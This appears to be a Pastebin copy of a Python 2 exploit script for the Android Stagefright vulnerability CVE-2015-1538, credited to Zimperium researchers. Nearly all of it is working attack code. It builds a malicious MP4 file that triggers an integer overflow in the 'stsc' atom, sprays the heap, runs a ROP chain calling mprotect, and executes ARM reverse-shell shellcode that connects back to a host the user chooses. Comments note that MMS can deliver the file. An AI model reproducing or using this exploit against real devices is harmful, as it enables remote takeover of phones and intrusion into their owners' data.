Advertisement
illwill

Stagefright_CVE-2015-1538-1_Exploit.py

Sep 9th, 2015
535
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 14.12 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. # -*- coding: utf-8 -*-
  3. # Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
  4. # Shout outs to our friends at Optiv (formerly Accuvant Labs)
  5. # (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
  6. # www.zimperium.com
  7. #
  8. # Exploit for RCE Vulnerability CVE-2015-1538 #1
  9. # Integer Overflow in the libstagefright MP4 'stsc' atom handling
  10. #
  11. # Don't forget, the output of “create_mp4” can be delivered many ways!
  12. # MMS is the most dangerous attack vector, but not the only one…
  13. #
  14. # DISCLAIMER: This exploit is for testing and educational purposes only. Any
  15. # other usage for this code is not allowed. Use at your own risk.
  16. #
  17. # “With great power comes great responsibility.” – Uncle Ben
  18. #
  19. import struct
  20. import socket
  21. #
  22. # Creates a single MP4 atom – LEN, TAG, DATA
  23. #
  24. def make_chunk(tag, data):
  25.    if len(tag) != 4:
  26.       raise 'Yo! They call it “FourCC” for a reason."'
  27.    ret = struct.pack('>L', len(data) + 8)
  28.    ret += tag
  29.    ret += data
  30.    return ret
  31. #
  32. # Make an 'stco' atom – Sample Table Chunk Offets
  33. #
  34. def make_stco(extra=""):
  35.    ret =  struct.pack('>L', 0) # version
  36.    ret += struct.pack('>L', 0) # mNumChunkOffsets
  37.    return make_chunk('stco', ret+extra)
  38. #
  39. # Make an 'stsz' atom – Sample Table Size
  40. #
  41. def make_stsz(extra=""):
  42.    ret =  struct.pack('>L', 0) # version
  43.    ret += struct.pack('>L', 0) # mDefaultSampleSize
  44.    ret += struct.pack('>L', 0) # mNumSampleSizes
  45.    return make_chunk('stsz', ret+extra)
  46. #
  47. # Make an 'stts' atom – Sample Table Time-to-Sample
  48. #
  49. def make_stts():
  50.    ret =  struct.pack('>L', 0) # version
  51.    ret += struct.pack('>L', 0) # mTimeToSampleCount
  52.    return make_chunk('stts', ret)
  53. #
  54. # This creates a single Sample Table Sample-to-Chunk entry
  55. #
  56. def make_stsc_entry(start, per, desc):
  57.    ret = ""
  58.    ret += struct.pack('>L', start + 1)
  59.    ret += struct.pack('>L', per)
  60.    ret += struct.pack('>L', desc)
  61.    return ret
  62. #
  63. # Make an 'stsc' chunk – Sample Table Sample-to-Chunk
  64. #
  65. # If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
  66. # cause a heap overflow.
  67. #
  68. def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
  69.    ret =  struct.pack('>L', 0) # version/flags
  70.    # this is the clean version…
  71.    if not do_overflow:
  72.        ret += struct.pack('>L', num_alloc) # mNumSampleToChunkOffsets
  73.        ret += 'Z' * (12 * num_alloc)
  74.        return make_chunk('stsc', ret)
  75.  
  76.    # now the explicit version. (trigger the bug)
  77.    ret += struct.pack('>L', 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
  78.    # fill in the entries that will overflow the buffer
  79.    for x in range(0, num_write):
  80.        ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)
  81.  
  82.    ret = make_chunk('stsc', ret)
  83.  
  84.    # patch the data_size
  85.    ret = struct.pack('>L', 8 + 8 + (num_alloc * 12)) + ret[4:]
  86.  
  87.    return ret
  88.  
  89. #
  90. # Build the ROP chain
  91. #
  92. # ROP pivot by Georg Wicherski! Thanks!
  93. #
  94. """
  95. (gdb) x/10i __dl_restore_core_regs
  96.  0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
  97.  0xb0002854 <__dl_restore_core_regs+4>:   ldm r1, {r3, r4, r5}
  98.  0xb0002858 <__dl_restore_core_regs+8>:   push    {r3, r4, r5}
  99.  0xb000285c <__dl_restore_core_regs+12>:  ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
  100.  0xb0002860 <__dl_restore_core_regs+16>:  ldm sp, {sp, lr, pc}
  101. """
  102. """
  103. b0001144 <__dl_mprotect>:
  104. b0001144:       e92d0090        push    {r4, r7}
  105. b0001148:       e3a0707d        mov     r7, #125        ; 0x7d
  106. b000114c:       ef000000        svc     0x00000000
  107. b0001150:       e8bd0090        pop     {r4, r7}
  108. b0001154:       e1b00000        movs    r0, r0
  109. b0001158:       512fff1e        bxpl    lr
  110. b000115c:       ea0015cc        b       b0006894 <__dl_raise+0x10>
  111. """
  112. def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
  113.    rop = ""
  114.    rop += struct.pack('<L', sp_addr + off + 0x10) # new sp
  115.    rop += struct.pack('<L', 0xb0002a98)           # new lr – pop {pc}
  116.    rop += struct.pack('<L', 0xb00038b2+1)         # new pc: pop {r0, r1, r2, r3, r4, pc}
  117.  
  118.    rop += struct.pack('<L', sp_addr & 0xfffff000) # new r0 – base address (page aligned)
  119.    rop += struct.pack('<L', 0x1000)               # new r1 – length
  120.    rop += struct.pack('<L', 7)                    # new r2 – protection
  121.    rop += struct.pack('<L', 0xd000d003)           # new r3 – scratch
  122.    rop += struct.pack('<L', 0xd000d004)           # new r4 – scratch
  123.    rop += struct.pack('<L', 0xb0001144)           # new pc – _dl_mprotect
  124.  
  125.    native_start = sp_addr + 0x80
  126.    rop += struct.pack('<L', native_start)         # address of native payload
  127.    #rop += struct.pack('<L', 0xfeedfed5)          # top of stack…
  128.    # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
  129.    buf =  ""
  130.    # fork
  131.    buf += '\x02\x70\xa0\xe3'
  132.    buf += '\x00\x00\x00\xef'
  133.    # continue if not parent…
  134.    buf += '\x00\x00\x50\xe3'
  135.    buf += '\x02\x00\x00\x0a'
  136.    # exit parent
  137.    buf += '\x00\x00\xa0\xe3'
  138.    buf += '\x01\x70\xa0\xe3'
  139.    buf += '\x00\x00\x00\xef'
  140.    # setsid in child
  141.    buf += '\x42\x70\xa0\xe3'
  142.    buf += '\x00\x00\x00\xef'
  143.    # socket/connect/dup2/dup2/dup2
  144.    buf += '\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c'
  145.    buf += '\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60'
  146.    buf += '\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0'
  147.    buf += '\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1'
  148.    buf += '\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06'
  149.    buf += '\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00'
  150.    buf += '\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0'
  151.    buf += '\xe3\x00\x00\x00\xef'
  152.    # execve(shell, argv, env)
  153.    buf += '\x30\x00\x8f\xe2\x04\x40\x24\xe0'
  154.    buf += '\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d'
  155.    buf += '\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00'
  156.    buf += '\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00'
  157.    buf += '\xef\x02\x00'
  158.    # Add the connect back host/port
  159.    buf += struct.pack('!H', cb_port)
  160.    cb_host = socket.inet_aton(cb_host)
  161.    buf += struct.pack('=4s', cb_host)
  162.    # shell –
  163.    buf += '/system/bin/sh\x00\x00'
  164.    # argv –
  165.    buf += 'sh\x00\x00'
  166.    # env –
  167.    buf += 'PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00'
  168.  
  169.    # Add some identifiable stuff, just in case something goes awry…
  170.    rop_start_off = 0x34
  171.    x = rop_start_off + len(rop)
  172.    while len(rop) < 0x80 - rop_start_off:
  173.        rop += struct.pack('<L', 0xf0f00000+x)
  174.        x += 4
  175.  
  176.    # Add the native payload…
  177.    rop += buf
  178.  
  179.    return rop
  180.  
  181. #
  182. # Build an mp4 that exploits CVE-2015-1538 #1
  183. #
  184. # We mimic meow.3gp here…
  185. #
  186. def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
  187.    chunks = []
  188.  
  189.    # Build the MP4 header…
  190.    ftyp =  'mp42'
  191.    ftyp += struct.pack('>L', 0)
  192.    ftyp += 'mp42'
  193.    ftyp += 'isom'
  194.    chunks.append(make_chunk('ftyp', ftyp))
  195.  
  196.    # Note, this causes a few allocations…
  197.    moov_data = ""
  198.    moov_data += make_chunk('mvhd',
  199.        struct.pack('>LL', 0, 0x41414141) +
  200.        ('B' * 0x5c) )
  201.  
  202.    # Add a minimal, verified trak to satisfy mLastTrack being set
  203.    moov_data += make_chunk('trak',
  204.        make_chunk('stbl',
  205.            make_stsc(0x28, 0x28) +
  206.            make_stco() +
  207.            make_stsz() +
  208.            make_stts() ))
  209.  
  210.    # Spray the heap using a large tx3g chunk (can contain binary data!)
  211.    """
  212.      0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>:   ldr r4, [r0, #4]  ; load mRefs
  213.      0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>:   mov r5, r0
  214.      0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>:   mov r6, r1
  215.      0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>:   mov r0, r4
  216.      0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>:  blx 0x40069884    ; atomic_decrement
  217.      0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>:  cmp r0, #1        ; must be 1
  218.      0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>:  bne.n   0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
  219.      0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>:  ldr r0, [r4, #8]  ; load refs->mBase
  220.      0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>:  ldr r1, [r0, #0]  ; load mBase._vptr
  221.      0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>:  ldr r2, [r1, #12] ; load method address
  222.      0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>:  mov r1, r6
  223.      0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>:  blx r2            ; call it!
  224.   """
  225.    page = ""
  226.    off = 0  # the offset to the next object
  227.    off += 8
  228.    page += struct.pack('<L', sp_addr + 8 + 16 + 8 + 12 - 28)    # _vptr.RefBase (for when we smash mDataSource)
  229.    page += struct.pack('<L', sp_addr + off) # mRefs
  230.    off += 16
  231.    page += struct.pack('<L', 1)             # mStrong
  232.    page += struct.pack('<L', 0xc0dedbad)    # mWeak
  233.    page += struct.pack('<L', sp_addr + off) # mBase
  234.    page += struct.pack('<L', 16)            # mFlags (dont set OBJECT_LIFETIME_MASK)
  235.    off += 8
  236.    page += struct.pack('<L', sp_addr + off) # the mBase _vptr.RefBase
  237.    page += struct.pack('<L', 0xf00dbabe)    # mBase.mRefs (unused)
  238.    off += 16
  239.    page += struct.pack('<L', 0xc0de0000 + 0x00)  # vtable entry 0
  240.    page += struct.pack('<L', 0xc0de0000 + 0x04)  # vtable entry 4
  241.    page += struct.pack('<L', 0xc0de0000 + 0x08)  # vtable entry 8
  242.    page += struct.pack('<L', newpc_val)          # vtable entry 12
  243.    rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
  244.    x = len(page)
  245.    while len(page) < 4096:
  246.        page += struct.pack('<L', 0xf0f00000+x)
  247.        x += 4
  248.  
  249.    off = 0x34
  250.    page = page[:off] + rop + page[off+len(rop):]
  251.    spray = page * (((2*1024*1024) / len(page)) - 20)
  252.    moov_data += make_chunk('tx3g', spray)
  253.    block = 'A' * 0x1c
  254.    bigger = 'B' * 0x40
  255.    udta = make_chunk('udta',
  256.        make_chunk('meta',
  257.            struct.pack('>L', 0) +
  258.            make_chunk('ilst',
  259.                make_chunk('cpil',    make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) +
  260.                make_chunk('trkn',    make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) +
  261.                make_chunk('disk',    make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) +
  262.                make_chunk('covr',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
  263.                make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  264.                make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  265.                make_chunk('aART',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  266.                make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  267.                make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  268.                make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  269.                make_chunk('gnre',    make_chunk('data', struct.pack('>LL', 1, 0) + block)) +
  270.                make_chunk('covr',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
  271.                make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
  272.                make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
  273.                make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)))
  274.            )
  275.        )
  276.    moov_data += udta
  277.  
  278.    # Make the nasty trak
  279.    tkhd1 = "".join([
  280.        '\x00',       # version
  281.        'D' * 3,      # padding
  282.        'E' * (5*4),  # {c,m}time, id, ??, duration
  283.        'F' * 0x10,   # ??
  284.        struct.pack('>LLLLLL',
  285.            0x10000,  # a00
  286.            0,        # a01
  287.            0,        # dx
  288.            0,        # a10
  289.            0x10000,  # a11
  290.            0),       # dy
  291.        'G' * 0x14
  292.        ])
  293.  
  294.    trak1 = ""
  295.    trak1 += make_chunk('tkhd', tkhd1)
  296.  
  297.    mdhd1 = "".join([
  298.        '\x00',       # version
  299.        'D' * 0x17,   # padding
  300.        ])
  301.  
  302.    mdia1 = ""
  303.    mdia1 += make_chunk('mdhd', mdhd1)
  304.    mdia1 += make_chunk('hdlr', 'F' * 0x3a)
  305.  
  306.    dinf1 = ""
  307.    dinf1 += make_chunk('dref', 'H' * 0x14)
  308.  
  309.    minf1 = ""
  310.    minf1 += make_chunk('smhd', 'G' * 0x08)
  311.    minf1 += make_chunk('dinf', dinf1)
  312.  
  313.    # Build the nasty sample table to trigger the vulnerability here.
  314.    stbl1 = make_stsc(3, (0x1200 / 0xc) - 1, sp_addr, True) # TRIGGER
  315.  
  316.    # Add the stbl to the minf chunk
  317.    minf1 += make_chunk('stbl', stbl1)
  318.  
  319.    # Add the minf to the mdia chunk
  320.    mdia1 += make_chunk('minf', minf1)
  321.  
  322.    # Add the mdia to the track
  323.    trak1 += make_chunk('mdia', mdia1)
  324.  
  325.    # Add the nasty track to the moov data
  326.    moov_data += make_chunk('trak', trak1)
  327.  
  328.    # Finalize the moov chunk
  329.    moov = make_chunk('moov', moov_data)
  330.    chunks.append(moov)
  331.  
  332.    # Combine outer chunks together and voila.
  333.    data = "".join(chunks)
  334.  
  335.    return data
  336.  
  337. if __name__ == '__main__':
  338.    import sys
  339.    #import mp4
  340.    import argparse
  341.  
  342.    def write_file(path, content):
  343.        with open(path, 'wb') as f:
  344.            f.write(content)
  345.  
  346.    def addr(sval):
  347.        if sval.startswith('0x'):
  348.            return int(sval, 16)
  349.        return int(sval)
  350.  
  351.    # The address of a fake StrongPointer object (sprayed)
  352.    sp_addr   = 0x41d00010  # takju @ imm76i – 2MB (via hangouts)
  353.  
  354.    # The address to of our ROP pivot
  355.    newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs
  356.  
  357.    # Allow the user to override parameters
  358.    parser = argparse.ArgumentParser()
  359.    parser.add_argument('-c', '--connectback-host', dest='cbhost', default='31.3.3.7')
  360.    parser.add_argument('-p', '--connectback-port', dest='cbport', type=int, default=12345)
  361.    parser.add_argument('-s', '--spray-address', dest='spray_addr', type=addr, default=None)
  362.    parser.add_argument('-r', '--rop-pivot', dest='rop_pivot', type=addr, default=None)
  363.    parser.add_argument('-o', '--output-file', dest='output_file', default='cve-2015-1538-1.mp4')
  364.    args = parser.parse_args()
  365.  
  366.    if len(sys.argv) == 1:
  367.        parser.print_help()
  368.        sys.exit(-1)
  369.  
  370.    if args.spray_addr == None:
  371.        args.spray_addr = sp_addr
  372.    if args.rop_pivot == None:
  373.        args.rop_pivot = newpc_val
  374.  
  375.    # Build the MP4 file…
  376.    data = create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
  377.    print('[*] Saving crafted MP4 to %s …' % args.output_file)
  378.    write_file(args.output_file, data)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement